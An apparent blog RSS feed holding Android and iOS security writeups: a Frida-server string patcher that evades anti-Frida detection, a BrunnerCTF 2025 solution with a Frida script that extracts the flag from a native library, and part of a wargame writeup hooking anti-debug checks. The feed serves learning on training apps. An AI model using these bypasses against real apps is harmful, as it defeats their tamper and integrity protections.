&lt;p&gt;In this bypass we evade basic Frida artifact checks (e.g. &lt;code&gt;/proc/pid/maps&lt;/code&gt;, &lt;code&gt;/data/local/tmp/re.frida.server&lt;/code&gt;) by patching the Android &lt;code&gt;frida-server&lt;/code&gt; binary so all visible agent/server names become custom (&lt;code&gt;brida-bgent-*&lt;/code&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I found this &lt;code&gt;article&lt;/code&gt; with this &lt;code&gt;github&lt;/code&gt; issue which talks about this idea/solution very helpful.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://darvincitech.wordpress.com/2019/12/23/detect-frida-for-android/&quot;&gt;Detect Frida for Android - DarvinciTech&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/frida/frida-core/issues/310&quot;&gt;Github Issue&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1. Download and unpack frida-server&lt;/h3&gt;
&lt;p&gt;Pick the right version/arch and unpack:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://github.com/frida/frida/releases/download/16.5.6/frida-server-16.5.6-android-arm64.xz
unxz frida-server-16.5.6-android-arm64.xz
mv frida-server-16.5.6-android-arm64 frida-server
chmod +x frida-server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Quick recon of embedded strings:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings frida-server | grep -i &apos;frida-agent&apos;
strings frida-server | grep -i &apos;re.frida.server&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Python patcher (frida → brida-bgent)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from pathlib import Path

IN_PATH  = Path(&quot;frida-server&quot;)
OUT_PATH = Path(&quot;brida-bgent-server&quot;)  # you can change this to whatever you want.

REPLACEMENTS = {
    # Concrete agent .so names
    b&quot;frida-agent-32.so&quot;:      b&quot;brida-bgent-32.so&quot;,
    b&quot;frida-agent-64.so&quot;:      b&quot;brida-bgent-64.so&quot;,
    b&quot;frida-agent-arm.so&quot;:     b&quot;brida-bgent-arm.so&quot;,
    b&quot;frida-agent-arm64.so&quot;:   b&quot;brida-bgent-arm64.so&quot;,

    # Generic template string
    b&quot;frida-agent-&amp;lt;arch&amp;gt;.so&quot;:  b&quot;brida-bgent-&amp;lt;arch&amp;gt;.so&quot;,

    # Container / helper names
    b&quot;frida-agent-container&quot;:  b&quot;brida-bgent-container&quot;,

    # Raw agent libs
    b&quot;libfrida-agent-raw.so&quot;:  b&quot;libbrida-bgent-raw.so&quot;,

    # Directory name
    b&quot;re.frida.server&quot;:        b&quot;re.brida.server&quot;,
}

data = IN_PATH.read_bytes()

for orig, repl in REPLACEMENTS.items():
    if len(orig) = len(repl):
        raise ValueError(f&quot;Length mismatch: {origr} vs {replr}&quot;)
    count = data.count(orig)
    if count == 0:
        print(f&quot;[] Pattern not found: {origr}&quot;)
        continue
    print(f&quot;[+] Replacing {count} occurrence(s) of {origr} with {replr}&quot;)
    data = data.replace(orig, repl)

OUT_PATH.write_bytes(data)
OUT_PATH.chmod(0o755)
print(f&quot;[+] Wrote patched server to {OUT_PATH}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 brida-patch.py
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Verify patched artifacts&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;strings brida-bgent-server | grep -i &apos;frida-agent&apos;
strings brida-bgent-server | grep -i &apos;brida-bgent&apos;
strings brida-bgent-server | grep -i &apos;re.frida.server&apos;
strings brida-bgent-server | grep -i &apos;re.brida.server&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected: only the harmless error message still contains &lt;code&gt;frida-agent&lt;/code&gt;, all real artifacts are &lt;code&gt;brida-bgent-*&lt;/code&gt; and &lt;code&gt;re.brida.server&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;4. Deploy on device&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;adb push brida-bgent-server /data/local/tmp/frida-server
adb shell &quot;chmod 755 /data/local/tmp/frida-server&quot;
adb shell &quot;su -c /data/local/tmp/frida-server &amp;amp;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Attach from PC as usual (same frida CLI / version). On target app:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell &quot;grep -i brida /proc/$(pidof &amp;lt;package&amp;gt;)/maps&quot;
adb shell &quot;grep -i frida /proc/$(pidof &amp;lt;package&amp;gt;)/maps&quot;
adb shell &quot;ls -R /data/local/tmp | grep -i brida&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And this strategy worked like a charm.
Now &lt;code&gt;/proc/pid/maps&lt;/code&gt; and &lt;code&gt;/data/local/tmp&lt;/code&gt; expose &lt;code&gt;brida-bgent-*.so&lt;/code&gt; and &lt;code&gt;re.brida.server&lt;/code&gt;, so naive Frida name-based detections on &lt;code&gt;frida-agent.so&lt;/code&gt; / &lt;code&gt;re.frida.server&lt;/code&gt; no longer fire.&lt;/p&gt;
&lt;p&gt;:::tip
can you think of another way to bypass this ? :D
:::&lt;/p&gt;
&lt;h2&gt;Some Questions that came to my mind&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q: Why use &lt;code&gt;/proc/self/maps&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A: This special file shows ALL memory regions mapped into the current process. It&apos;s provided by the Linux kernel and always shows what&apos;s really loaded, so, triying to remove such file will cause the app even the system to crash&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q: What strings does anti-frida look for?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A: Common ones include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;gadget&lt;/code&gt; - frida-gadget.so&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gum&lt;/code&gt; - frida&apos;s Gum engine&lt;/li&gt;
&lt;li&gt;&lt;code&gt;agent&lt;/code&gt; - frida-agent.so&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q: Why can&apos;t we just search by module and hook directly?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A: Because &lt;code&gt;libantifrida.so&lt;/code&gt; doesn&apos;t exist in memory when our script starts. It&apos;s loaded later by the app at runtime.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q: Why Direct Syscall Hooking is Necessary?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Normal hooking by function name &lt;strong&gt;won&apos;t work&lt;/strong&gt; because &lt;code&gt;libantifrida.so&lt;/code&gt; uses &lt;strong&gt;direct syscalls&lt;/strong&gt;, bypassing &lt;code&gt;libc&lt;/code&gt; entirely.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q: Why not just hook by function name like &lt;code&gt;openat&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;, &lt;code&gt;close&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A: Because anti-frida code doesn&apos;t call libc functions. It uses direct &lt;code&gt;syscalls&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q: What&apos;s the difference?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Normal App&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;App code → libc.so (openat function) → kernel syscall
              ↑
         Frida can hook here
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anti-Frida Code&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;App code → SVC #0 instruction (direct syscall) → kernel
              ↑
         No function to hook Must hook the SVC instruction itself.
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Lessons Learned&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Sometimes you can&apos;t just hook everything or fake/block every check—doing so will lead to crashes, timeouts, unintended behaviors, and an unstable runtime. Instead, it&apos;s often better to use a &lt;strong&gt;workaround&lt;/strong&gt; and view the detection from the other side. This approach typically requires &lt;strong&gt;less effort&lt;/strong&gt;, &lt;strong&gt;less overthinking&lt;/strong&gt;, and yields &lt;strong&gt;better results&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h1&gt;Credits &amp;amp; Resources&lt;/h1&gt;
&lt;p&gt;This writeup is based on the work of &lt;strong&gt;fatalSec&lt;/strong&gt;. The sample APK and solver scripts used in this guide are his creations—full credit goes to him.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;YouTube Tutorial&lt;/strong&gt;: &lt;a href=&quot;https://www.youtube.com/watch?v=FNtzJDU5BAI&quot;&gt;Advanced Frida Detection Bypass&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub Repository&lt;/strong&gt;: &lt;a href=&quot;https://github.com/fatalSec/android_in_app_protections&quot;&gt;android_in_app_protections&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Shoutout to &lt;a href=&quot;https://github.com/happyjesterr&quot;&gt;&lt;code&gt;@happyjesterr&lt;/code&gt;&lt;/a&gt; for helping me thru it.&lt;/p&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>8kSec.io iOS Challenges Writeups</title><link>https://ymuu.me/posts/8ksecio-ios-challenges-writeups/</link><guid isPermaLink="true">https://ymuu.me/posts/8ksecio-ios-challenges-writeups/</guid><description>A n00bie&apos;s journey through iOS application exploitation challenges covering reverse engineering, vulnerability discovery, and mobile security.</description><pubDate>Thu, 13 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;My n00b Journey Through iOS Security Challenges&lt;/h2&gt;
&lt;p&gt;Welcome to my writeup series for the &lt;a href=&quot;https://academy.8ksec.io/course/ios-application-exploitation-challenges&quot;&gt;8kSec iOS Application Exploitation Challenges&lt;/a&gt;. As a n00bie in iOS Security, I&apos;m documenting my journey through 11 vulnerable iOS applications that cover everything from password managers to privacy tools. Each challenge teaches different exploitation techniques including reverse engineering, dynamic analysis, and vulnerability discovery.
Will it be easy? :&quot;D&lt;/p&gt;
</content:encoded></item><item><title>MobileHackingLabs iOS Challenges</title><link>https://ymuu.me/posts/mobilehackinglab-ios-challenges-writeups/</link><guid isPermaLink="true">https://ymuu.me/posts/mobilehackinglab-ios-challenges-writeups/</guid><description>A n00bie&apos;s journey through iOS application exploitation challenges covering reverse engineering, vulnerability discovery, and mobile security.</description><pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;My n00b Journey Through iOS Security Challenges&lt;/h2&gt;
&lt;p&gt;Welcome to my writeup series for the &lt;a href=&quot;https://www.mobilehackinglab.com/course/lab-captain-nohook&quot;&gt;MHL iOS Application Exploitation Challenges&lt;/a&gt;. As a n00bie in iOS Security, I&apos;m documenting my journey through 11 vulnerable iOS applications that cover everything from password managers to privacy tools. Each challenge teaches different exploitation techniques including reverse engineering, dynamic analysis, and vulnerability discovery.
Will it be easy? :&quot;D&lt;/p&gt;
</content:encoded></item><item><title>8kSec.io Android Challenges</title><link>https://ymuu.me/posts/8ksecio-android-challenges-writeups/</link><guid isPermaLink="true">https://ymuu.me/posts/8ksecio-android-challenges-writeups/</guid><description>A n00bie&apos;s journey through Android application exploitation challenges covering reverse engineering, vulnerability discovery, and mobile security.</description><pubDate>Mon, 01 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;My n00b Journey Through Android Security Challenges&lt;/h2&gt;
&lt;p&gt;Welcome to my writeup series for the &lt;a href=&quot;https://academy.8ksec.io/course/android-application-exploitation-challenges&quot;&gt;8kSec.io Android Application Exploitation Challenges&lt;/a&gt;. As a n00bie in Android security, I&apos;m documenting my journey through 11 vulnerable Android applications that cover everything from password managers to privacy tools. Each challenge teaches different exploitation techniques including reverse engineering, dynamic analysis, and vulnerability discovery.
Will it be easy? :&quot;D&lt;/p&gt;
</content:encoded></item><item><title>Brod &amp; Co. — Android CTF Writeup (BrunnerCTF 2025)</title><link>https://ymuu.me/posts/brod--co--android-ctf-write-up---brunnerctf-2025/</link><guid isPermaLink="true">https://ymuu.me/posts/brod--co--android-ctf-write-up---brunnerctf-2025/</guid><description>Reverse engineering Brod &amp; Co. from BrunnerCTF 2025: Flutter + native analysis, Frida↔Ghidra mapping, overflow confirmation, and pulling the flag via util_func_c(0x1337).</description><pubDate>Tue, 26 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/h1&gt;
&lt;p&gt;:::caution&lt;/p&gt;
&lt;h1&gt;FreePalestine&lt;/h1&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h1&gt;Brod &amp;amp; Co. — Android CTF Write-Up - BrunnerCTF 2025&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;1) Recon: it’s Flutter + native&lt;/h2&gt;
&lt;p&gt;From the APK:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AndroidManifest.xml&lt;/code&gt; shows a standard Flutter &lt;code&gt;MainActivity&lt;/code&gt;, no obvious networking components or custom services.&lt;/li&gt;
&lt;li&gt;App bundles three native libs:
&lt;code&gt;lib/x86_64/libapp.so&lt;/code&gt;, &lt;code&gt;lib/x86_64/libflutter.so&lt;/code&gt;, &lt;code&gt;lib/x86_64/libnative.so&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Logcat during coupon check:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DEBUG: validateCoupon called with: &apos;test code&apos;
DEBUG: _callNativeValidation called with: &apos;test code&apos;
Native library loaded successfully
Main function: process_data_complete
VULNERABILITIES ACTIVE: Buffer overflow, weak crypto, format string
DEBUG: Native library returned for coupon validation: &apos;INVALID_COUPON&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When placing an order (with a long input):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Order data length: 256 bytes
--------- beginning of crash
FORTIFY: strcpy: prevented 257-byte write into 256-byte buffer
Fatal signal 6 (SIGABRT)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Takeaway: the app calls into &lt;strong&gt;&lt;code&gt;libnative.so&lt;/code&gt;&lt;/strong&gt; for both validation and order handling. It even tells us vulnerable patterns exist.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2) Static: skim &lt;code&gt;libnative.so&lt;/code&gt; in Ghidra&lt;/h2&gt;
&lt;p&gt;Useful exports I found:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;process_data_complete
util_func_a / b / c / d
hidden_encode_function / hidden_decrypt_function
get_client_version / version_info
force_data_preservation
test_all_functions
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two key functions (decompiled snippets I pulled):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Coupon/flag entry point&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;char *process_data_complete(char *in) {
  if (strncmp(in, &quot;COUPON:&quot;, 7) == 0) {
    return FUN_001023a0(in + 7) ? strdup(&quot;VALID_COUPON&quot;) : strdup(&quot;INVALID_COUPON&quot;);
  } else if (strncmp(in, &quot;FLAG:&quot;, 5) == 0) {
    if (FUN_001023a0(in + 5)) {
      // build &quot;FLAG|%s&quot; using FUN_00103520()
    }
    return strdup(&quot;FLAG|INVALID_COUPON&quot;);
  } else {
    // default path uses FUN_00103520() to build &quot;OK|%s&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Secret builder&lt;/strong&gt; (what ultimately becomes the &lt;code&gt;%s&lt;/code&gt; above):&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;undefined * FUN_00103520(void) {
  // Mixes three embedded data blobs, rotates, XORs, permutes bits,
  // PRF-like rounds with constants 0xcafebabedeadbeef and 0x8765432112345678,
  // then copies only printable bytes into a global buffer and returns it.
  // First call lazily initializes a global; subsequent calls return the same string.
  return &amp;amp;DAT_00106090;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the helper I later used:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void *util_func_c(int x) {
  if (x == 0x1337) {
    char *s = FUN_00103520();
    return strcpy(malloc(strlen(s) + 1), s);
  }
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So: &lt;strong&gt;&lt;code&gt;util_func_c(0x1337)&lt;/code&gt; hands you a heap-allocated copy of the final secret string&lt;/strong&gt; that &lt;code&gt;process_data_complete()&lt;/code&gt; would otherwise wrap as &lt;code&gt;OK|%s&lt;/code&gt; or &lt;code&gt;FLAG|%s&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3) Dynamic: confirm the overflow and its call site&lt;/h2&gt;
&lt;p&gt;I traced libc copies (safer Frida hooks) and reproduced the crash:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;=== __strcpy_chk hit ===
destlen=256 srclen=250
returnAddress=... module=libnative.so offset=0x1868  &amp;lt;-- callsite

=== __strcpy_chk hit ===
destlen=256 srclen=256
... Abort: FORTIFY: strcpy: prevented 257-byte write into 256-byte buffer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Offset &lt;code&gt;0x1868&lt;/code&gt;&lt;/strong&gt; is the &lt;code&gt;__strcpy_chk&lt;/code&gt; return site inside &lt;code&gt;libnative.so&lt;/code&gt; where the 256-byte limit triggers.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
On Ghidra address translation: Frida gave module offset &lt;code&gt;0x1868&lt;/code&gt;. In Ghidra, image base was &lt;code&gt;0x00100000&lt;/code&gt;, so jump to &lt;code&gt;0x00101868&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Around that address, my listing (function &lt;code&gt;FUN_00101820&lt;/code&gt;) shows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;local_168&lt;/code&gt; at &lt;code&gt;[rsp+0x160]&lt;/code&gt; is the &lt;strong&gt;256-byte dest buffer&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The vulnerable call:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;mov [rsp+local_30], 0x100     ; destlen = 256
mov rdi, [rsp+local_28]       ; rdi = &amp;amp;local_168
mov rsi, [rsp+local_38]       ; rsi = input
mov rdx, [rsp+local_30]       ; rdx = 256
call __strcpy_chk             ; → aborts if srclen+1 &amp;gt; 256
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Then it copies into a bigger temp buffer, XORs each byte with &lt;code&gt;0xAA&lt;/code&gt; (“weak crypto”), and finally heap-copies with &lt;code&gt;__strcpy_chk(..., -1)&lt;/code&gt; (no check).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So the overflow is real, but FORTIFY blocks it. I &lt;strong&gt;could&lt;/strong&gt; have bypassed that check with Frida and continued, but… I found something faster.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4) The fastest working PoC (unintended, I guess, but valid)&lt;/h2&gt;
&lt;h3&gt;Idea&lt;/h3&gt;
&lt;p&gt;Don’t fight validation or overflow. The native lib already exports a function that returns the final secret string: &lt;strong&gt;&lt;code&gt;util_func_c(0x1337)&lt;/code&gt;&lt;/strong&gt; → internally calls the secret builder and returns a heap string. Read it and print.&lt;/p&gt;
&lt;h3&gt;PoC&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;get_flag.js&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// frida -U -n dk.brunnerne.masterbaker -l get_flag.js
// or:  frida -U -f dk.brunnerne.masterbaker -l get_flag.js --no-pause

(function () {
  function waitForLib(name, cb) {
    const tryFind = function () {
      const m = Process.findModuleByName(name);
      if (m) return cb(m);
      setTimeout(tryFind, 100);
    };
    tryFind();
  }

  waitForLib(&quot;libnative.so&quot;, function (m) {
    console.log(&quot;[+] libnative.so base:&quot;, m.base);

    const util_func_c = Module.findExportByName(&quot;libnative.so&quot;, &quot;util_func_c&quot;);
    if (!util_func_c) { console.log(&quot;[!] util_func_c not found&quot;); return; }

    const freePtr = Module.findExportByName(null, &quot;free&quot;);
    const UtilFuncC = new NativeFunction(util_func_c, &quot;pointer&quot;, [&quot;int&quot;]);

    console.log(&quot;[*] Calling util_func_c(0x1337) ...&quot;);
    const p = UtilFuncC(0x1337);
    if (p.isNull()) { console.log(&quot;[!] util_func_c returned NULL&quot;); return; }

    try {
      const s = Memory.readUtf8String(p);
      console.log(&quot;\n===== SECRET / FLAG STRING =====&quot;);
      console.log(s);
      console.log(&quot;================================\n&quot;);
    } catch (e) {
      console.log(&quot;[!] Failed to read string:&quot;, e);
    } finally {
      if (freePtr) new NativeFunction(freePtr, &quot;void&quot;, [&quot;pointer&quot;])(p);
    }
  });
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;How to run&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Run the script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;frida -U -f dk.brunnerne.masterbaker -l get_flag.js
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[+] libnative.so base: 0x7xxx...
[*] Calling util_func_c(0x1337) ...

===== SECRET / FLAG STRING =====
brunner{wh0_kn3w_dart_c0u1d_h4nd13_C?!}
================================
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;FLAG = &lt;code&gt;brunner{wh0_kn3w_dart_c0u1d_h4nd13_C?!}&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5) Line-by-line PoC explanation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;waitForLib(&quot;libnative.so&quot;, cb)&lt;/code&gt;
Flutter loads libs lazily; this waits until &lt;code&gt;libnative.so&lt;/code&gt; is mapped before continuing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Module.findExportByName(&quot;libnative.so&quot;, &quot;util_func_c&quot;)&lt;/code&gt;
Resolves the exported symbol &lt;strong&gt;inside&lt;/strong&gt; the target library. No offsets, no gadget hunting.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;new NativeFunction(util_func_c, &quot;pointer&quot;, [&quot;int&quot;])&lt;/code&gt;
Wraps the C function: returns a pointer, takes one &lt;code&gt;int&lt;/code&gt; parameter.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;UtilFuncC(0x1337)&lt;/code&gt;
The magic value the library checks. If it matches, it calls &lt;code&gt;FUN_00103520()&lt;/code&gt; and returns a heap-allocated C string (&lt;code&gt;char *&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Memory.readUtf8String(p)&lt;/code&gt;
Reads the returned C string from target memory.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;free(p)&lt;/code&gt;
Clean up the heap allocation (nice-to-have; not strictly required for a quick one-shot).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That’s it. No bypassing FORTIFY, no ROP chain, no coupon math.&lt;/p&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>Arab Wargames 2025 - Android Challenges Writeup</title><link>https://ymuu.me/posts/asc-wargames-2025-android-challenges/writeups/</link><guid isPermaLink="true">https://ymuu.me/posts/asc-wargames-2025-android-challenges/writeups/</guid><description>Comprehensive writeup for two Android reverse engineering challenges: Sacred Myth and Double Trouble</description><pubDate>Tue, 05 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/h1&gt;
&lt;p&gt;:::caution&lt;/p&gt;
&lt;h1&gt;FreePalestine&lt;/h1&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::note
This writeup covers two Android reverse engineering challenges from Arab Security Cyber Wargames 2025. Both challenges demonstrate different aspects of Android app security and common vulnerabilities.
:::&lt;/p&gt;
&lt;h1&gt;Challenge 1 - The Sacred Myth - When Ancient Apps Meet Modern Hacking&lt;/h1&gt;
&lt;p&gt;:::tip[TL;DR - &quot;I Don&apos;t Have Time for This!&quot;]
The app checks if you&apos;re at sacred coordinates (30.043801, 31.334688) at prophecy time (1754128800), but trusts everything the Android system tells it. We bypass this with Frida hooks.
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Understanding Our Target: The &quot;Myth&quot; App&lt;/h2&gt;
&lt;p&gt;So we&apos;ve got this &quot;ancient&quot; Android app called &quot;Myth&quot; that supposedly holds some sacred secrets. Let me break down what this paranoid little app is trying to do:&lt;/p&gt;
&lt;h3&gt;App Behavior Analysis&lt;/h3&gt;
&lt;p&gt;The app has multiple security checks. Here&apos;s what it&apos;s checking for:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Location Verification&lt;/strong&gt;: Are you at the sacred coordinates?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Time Verification&lt;/strong&gt;: Is it the prophecy moment?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anti-Debugging&lt;/strong&gt;: Are you trying to debug the app?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anti-Emulator&lt;/strong&gt;: Is this running on an emulator?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anti-Frida&lt;/strong&gt;: Is dynamic instrumentation present?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The app loads a native library called &lt;code&gt;libvault.so&lt;/code&gt; that does the actual flag checking.&lt;/p&gt;
&lt;p&gt;:::important
The key insight is that while the app has multiple protection layers, they all rely on trusting the Android framework and can be bypassed through dynamic instrumentation.
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Code Analysis: What We Need to Bypass&lt;/h2&gt;
&lt;p&gt;Let&apos;s look at the key protection mechanisms we discovered:&lt;/p&gt;
&lt;h3&gt;1. The Anti-Analysis Squad (Java Level)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// In MainActivity.java (decompiled from smali)
private boolean checkDebugger() {
    // Checks if debugger is attached
    // Returns true if debugging detected
}

private boolean checkEmulator() {
    // Looks for emulator artifacts
    // Checks system properties, files, etc.
}

private boolean checkFrida() {
    // Searches for Frida processes
    // Scans /proc for suspicious stuff
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::warning[Security Weakness]
These protection functions are implemented in Java, making them easily accessible to Frida hooks. A more robust approach would implement these checks in native code with anti-hooking measures.
:::&lt;/p&gt;
&lt;h3&gt;2. The Space-Time Police (Location &amp;amp; Time)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Sacred coordinates hardcoded (rookie mistake!)
private static final double SACRED_LAT = 30.043801;
private static final double SACRED_LON = 31.334688;
private static final long TARGET_TIMESTAMP = 1754128800; // In seconds

public String getFlag(double lat, double lon, long time) {
    // Native call to libvault.so
    return nativeGetFlag(lat, lon, time);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::caution[Hardcoded Secrets]
Never hardcode sensitive coordinates and timestamps in your application! These values are easily discoverable through static analysis.
:::&lt;/p&gt;
&lt;h3&gt;3. The Native Bodyguard (libvault.so)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Native functions (found via reverse engineering)
FUN_00101270() // Anti-debug check #1
FUN_00101310() // Anti-debug check #2
FUN_001016a0() // Anti-emulator check
FUN_00101750() // Anti-frida check
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip[Reverse Engineering Tip]
When you see function names like &lt;code&gt;FUN_00101270&lt;/code&gt;, these are auto-generated by disassemblers like Ghidra. The predictable naming makes them easy targets for patching.
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploitation Strategy: Divide and Conquer&lt;/h2&gt;
&lt;p&gt;:::important
Our approach is to disable the security systems one by one:
:::&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Neutralize native protection functions&lt;/li&gt;
&lt;li&gt;Control time and location APIs&lt;/li&gt;
&lt;li&gt;Bypass permission checks&lt;/li&gt;
&lt;li&gt;Hook critical methods&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;1. &lt;strong&gt;Neutralize the Native Bodyguard&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;First, we patch the native protection functions. We find libvault.so and patch its protection functions to always return &quot;success&quot;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Find and patch native protections
const mods = Process.enumerateModulesSync();
const vaultMod = mods.find((m) =&amp;gt; m.name.toLowerCase().includes(&quot;vault&quot;));

const exportsList = Module.enumerateExportsSync(vaultMod.name);
exportsList
